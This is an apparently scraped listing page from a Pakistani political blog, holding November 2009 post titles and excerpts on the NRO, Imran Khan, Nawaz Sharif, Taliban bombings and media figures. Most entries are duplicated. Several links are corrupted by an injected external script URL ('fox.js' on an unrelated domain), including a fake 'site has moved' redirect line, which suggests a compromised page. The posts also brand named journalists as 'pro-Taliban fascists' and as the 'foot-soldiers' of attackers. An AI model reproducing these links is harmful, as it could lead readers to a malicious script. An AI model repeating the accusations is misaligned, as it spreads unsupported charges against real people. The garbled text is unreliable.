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The Project IJI – Second Edition: Compiled by: Abdul Nishapuri Note: This post was bitterly criticized by Hamid Mir and Ansar Abbasi in an episode of Capital Talk in November 2009. Title: The Project IJI (Islami Jamhoori Ittehad – Second Edition) Alias:Mullah Military Alliance Aim:
The Project IJI – Second Edition: Compiled by: Abdul Nishapuri Title: The Project IJI (Islami Jamhoori Ittehad – Second Edition) Alias: Mullah Military Alliance Aim: To destabilize the democratic government of Pakistan Key sponsor: ISI, GHQ Key constituent parties: PML(N), PML(Q), Jamaat-e-Islami, MQM, Farooq Leghari,
Imran Khan and ‘mass movement’ – Let us pray for Imran Khan’s swift recovery: First a new announcement by Imran Khan, which is followed by analyses by Hasan Nisar and Nazir Naji. Imran announces campaign against NROSunday, 1 Nov, 2009 11:12 pmhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.aaj.tv/news/National/151104_detail.html LAHORE : Pakistan Tehreek-e-Insaaf has announced to launch a campaign against
Imran Khan and ‘mass movement’ – Let us pray for Imran Khan’s swift recovery: First a new announcement by Imran Khan, which is followed by analyses by Hasan Nisar and Nazir Naji. Imran announces campaign against NROSunday, 1 Nov, 2009 11:12 pmhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.aaj.tv/news/National/151104_detail.html LAHORE : Pakistan Tehreek-e-Insaaf has announced to launch a campaign against
Pakistani media, Nawz Sharif and Mrs Wasim Akram’s funeral: Statement by Nawaz Sharif on NRO, followed by an analysis by Ayaz Khan. NRO to be opposed at all forums, says NawazBy Our Staff Reporter (Dawn)Saturday, 31 Oct, 2009 LAHORE: The PML-N will oppose the National Reconciliation Ordinance (NRO)
Pakistani media, Nawz Sharif and Mrs Wasim Akram’s funeral: Statement by Nawaz Sharif on NRO, followed by an analysis by Ayaz Khan. NRO to be opposed at all forums, says NawazBy Our Staff Reporter (Dawn)Saturday, 31 Oct, 2009 LAHORE: The PML-N will oppose the National Reconciliation Ordinance (NRO)
Shia holocaust in Pakistan: Taliban raze entire village to the ground in Hangu: Why is the Pakistani media silent? Why are pro-Taliban fascists such as Hamid Mir, Shahid Masood, Javed Chaudhry and Ansar Abbasi silent? Where are Imran Khan, Munawar Hassan, Aslam Beg, Hamid Gul and the likes? Is it something less
Shia holocaust in Pakistan: Taliban raze entire village to the ground in Hangu: Why is the Pakistani media silent? Why are pro-Taliban fascists such as Hamid Mir, Shahid Masood, Javed Chaudhry and Ansar Abbasi silent? Where are Imran Khan, Munawar Hassan, Aslam Beg, Hamid Gul and the likes? Is it something less
Pakistan-USA ties: From Liaqat Ali Khan to Asif Zardari: Life before Kerry-Lugar —Haider Nizamani Popular sentiment has always been wary of American influence in Pakistan. Successive governments while framing their relations with the US have tried to placate public mood by invoking notions such as ‘augmenting national defence’
Pakistan-USA ties: From Liaqat Ali Khan to Asif Zardari: Life before Kerry-Lugar —Haider Nizamani Popular sentiment has always been wary of American influence in Pakistan. Successive governments while framing their relations with the US have tried to placate public mood by invoking notions such as ‘augmenting national defence’
The USA and Britain must not support Jundullah to carry out sabotage against the Iranian government.: Beyond the Jundullah attacks Monday, November 02, 2009Nasim Zehra The Pakistan-Iran border is on the boil again. On Oct 26 the Iranian state media reported that 11 Iranian Revolutionary Guards arrested by Pakistan’s security forces had accidentally strayed into
The USA and Britain must not support Jundullah to carry out sabotage against the Iranian government.: Beyond the Jundullah attacks Monday, November 02, 2009Nasim Zehra The Pakistan-Iran border is on the boil again. On Oct 26 the Iranian state media reported that 11 Iranian Revolutionary Guards arrested by Pakistan’s security forces had accidentally strayed into
Taliban / Sipah-e-Sahaba attack a bank outside Army GHQ in Rawalpindi. At least 20 killed.: The foot-soldiers of Hamid Mir, Shahid Masood, Imran Khan and Jamaat Islami, once again struck the people of Pakistan, this time in Rawalpindi. Bomb attack near military headquarters in Rawalpindi kills 20 At least 20 people were killed in
Taliban / Sipah-e-Sahaba attack a bank outside Army GHQ in Rawalpindi. At least 20 killed.: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
The pro-Taliban (pro-Jamaat Islami) elements in Pakistani media and the question of national sovereignty: Questions of sovereignty By Kunwar Idris Sunday, 01 Nov, 2009 (Dawn) If the JI’s referendum is taken to mirror the popular sentiment, the war against terrorism is already lost even if the army wins the battle for
The pro-Taliban (pro-Jamaat Islami) elements in Pakistani media and the question of national sovereignty: Questions of sovereignty By Kunwar Idris Sunday, 01 Nov, 2009 (Dawn) If the JI’s referendum is taken to mirror the popular sentiment, the war against terrorism is already lost even if the army wins the battle for South Waziristan.
Clinton’s encounter with media and Talat Hussain’s $640 million mistake: After the way the channels handled the TV appearances of the US Secretary of State Hilary Clinton, the verdict has to go in favour of the latter. The encounters were arranged as battles. The TV channels lost, and Ms
Clinton’s encounter with media and Talat Hussain’s $640 million mistake: After the way the channels handled the TV appearances of the US Secretary of State Hilary Clinton, the verdict has to go in favour of the latter. The encounters were arranged as battles. The TV channels lost, and Ms
Zardari’s corruption and our saviours in Pakistan Army: PAC wants culprits behind NLC losses identified By Irfan Bukhari ISLAMABAD: The Public Accounts Committee on Thursday directed the Planning and Development Division to identify those responsible for losses of Rs 1.7 billion to the
Zardari’s corruption and our saviours in Pakistan Army: PAC wants culprits behind NLC losses identified By Irfan Bukhari ISLAMABAD: The Public Accounts Committee on Thursday directed the Planning and Development Division to identify those responsible for losses of Rs 1.7 billion to the National Logistics Cell (NLC).
Amirul Momineen Mian Nawaz Sharif, a model ‘moderate Muslm’ of today’s Pakistan: Smokers’ Corner: The peril of being moderate By Nadeem F. ParachaSunday, 01 Nov, 2009 (Dawn) Some five years ago when rising cases of religious extremism and suicide bombings started to spell a serious problem for the state and society,
Amirul Momineen Mian Nawaz Sharif, a model ‘moderate Muslm’ of today’s Pakistan: Smokers’ Corner: The peril of being moderate By Nadeem F. ParachaSunday, 01 Nov, 2009 (Dawn) Some five years ago when rising cases of religious extremism and suicide bombings started to spell a serious problem for the state and society,
‘Bring back Jinnah’s Pakistan’ – By Ardeshir Cowasjee and Munno Bhai: By Ardeshir CowasjeeSunday, 01 Nov, 2009 (Dawn) Had the Mideast and S.Asia heeded Jinnah’s advice on religion and state the world may have been in better shape today. —Photo by AFP Of late, amidst the murder and mayhem accompanied
‘Bring back Jinnah’s Pakistan’ – By Ardeshir Cowasjee and Munno Bhai: By Ardeshir CowasjeeSunday, 01 Nov, 2009 (Dawn) Had the Mideast and S.Asia heeded Jinnah’s advice on religion and state the world may have been in better shape today. —Photo by AFP Of late, amidst the murder and mayhem accompanied
The future of Pakistan People’s Party: The last chance saloon By Irfan Husain Saturday, 31 Oct, 2009 (Dawn) LEGEND has it that at the edge of many towns in the old American West stood a last chance saloon where cowboys could get a final drink
The future of Pakistan People’s Party: The last chance saloon By Irfan Husain Saturday, 31 Oct, 2009 (Dawn) LEGEND has it that at the edge of many towns in the old American West stood a last chance saloon where cowboys could get a final drink
Hillary Clinton’s meeting with the ‘ghairatmand’ journalists: A summary: The secretary of state didn’t shy away from sharp questions in bid to alter public opinion. By NEWS SERVICESLast update: October 30, 2009 ISLAMABAD, PAKISTAN – U.S. Secretary of State Hillary Rodham Clinton, who has had her ups and
Hillary Clinton’s meeting with the ‘ghairatmand’ journalists: A summary: The secretary of state didn’t shy away from sharp questions in bid to alter public opinion. By NEWS SERVICESLast update: October 30, 2009 ISLAMABAD, PAKISTAN – U.S. Secretary of State Hillary Rodham Clinton, who has had her ups and
The good Taliban, the bad Taliban and the story of Veronica Guerin: On the Pakistani side, there is a tendency to divide the terrorists into three categories: the Afghan Taliban who are good, the Pakistani Taliban who are bad, and the “foreigners” sheltered by some Pakistani Taliban who
The good Taliban, the bad Taliban and the story of Veronica Guerin: On the Pakistani side, there is a tendency to divide the terrorists into three categories: the Afghan Taliban who are good, the Pakistani Taliban who are bad, and the “foreigners” sheltered by some Pakistani Taliban who are bad too.
Pakistani media’s somersaults on air – By Nadeem Paracha: Somersaults on air Posted by Nadeem F. Paracha (Dawn Blog) Talking to DawnNews, veteran journalist Agha Murtaza Poya called America, India, and Israel an ‘axis of evil out to destroy Pakistan, Iran and Afghanistan.’ There is absolutely nothing new
Pakistani media’s somersaults on air – By Nadeem Paracha: Somersaults on air Posted by Nadeem F. Paracha (Dawn Blog) Talking to DawnNews, veteran journalist Agha Murtaza Poya called America, India, and Israel an ‘axis of evil out to destroy Pakistan, Iran and Afghanistan.’ There is absolutely nothing new
An analysis of Takfiri thought and actions in Pakistan: Wusatullah Khan of BBC Urdu offers an analysis of the Takfiri (Khariji ) thought and actions in Pakistan. Some renowned (notorious) Takfiris (Kharijis) include (some of them are hidden Takfiris): Ayman-al-Zawahiri Osama Bin Laden Mullah Omar Qazi Hussain Ahmed
Understanding the nature of Taliban and Al Qaeda in Pakistan – By Ayesha Siddiqa: The nature of the beast By Ayesha Siddiqa The series of recent terrorist attacks call for a close analysis of the militant threat and the formulation of a strategy to ward off such tragedies. At the moment, we seem
From jihadi Taliban to media Taliban – By Sohail Qalandar: Our own monsters Political leaders, intellectuals, influential media personalities and the military leadership of the country have to be united on a single-point national agenda: the elimination and total destruction of all militant organisations and their
From jihadi Taliban to media Taliban – By Sohail Qalandar: Our own monsters Political leaders, intellectuals, influential media personalities and the military leadership of the country have to be united on a single-point national agenda: the elimination and total destruction of all militant organisations and their supporters from the
Slaughterhouse in mad house – Taliban in Pakistan: Pagal khanay mein zabah khana – by Mohammed Hanif پاگل خانےمیں ذبح خانہ محمد حنیف بی بی سی اردو ڈاٹ کام، کراچی ’تو پھر کیا تمام پنجابی طالبان، وزیرستان ہجرت کر جائیں گے یا ایک چھوٹی سے خلافت ملتان
Slaughterhouse in mad house – Taliban in Pakistan: Pagal khanay mein zabah khana – by Mohammed Hanif پاگل خانےمیں ذبح خانہ محمد حنیف بی بی سی اردو ڈاٹ کام، کراچی ’تو پھر کیا تمام پنجابی طالبان، وزیرستان ہجرت کر جائیں گے یا ایک چھوٹی سے خلافت ملتان
Death toll from Peshawar blast rises to 104: Extremism, whatever the historical reasons that are bent around trying to understand it and place it in our national and cultural context, now envelops all of us in a deadly and debilitating cloud. There will be the usual cries
Death toll from Peshawar blast rises to 104: Extremism, whatever the historical reasons that are bent around trying to understand it and place it in our national and cultural context, now envelops all of us in a deadly and debilitating cloud. There will be the usual cries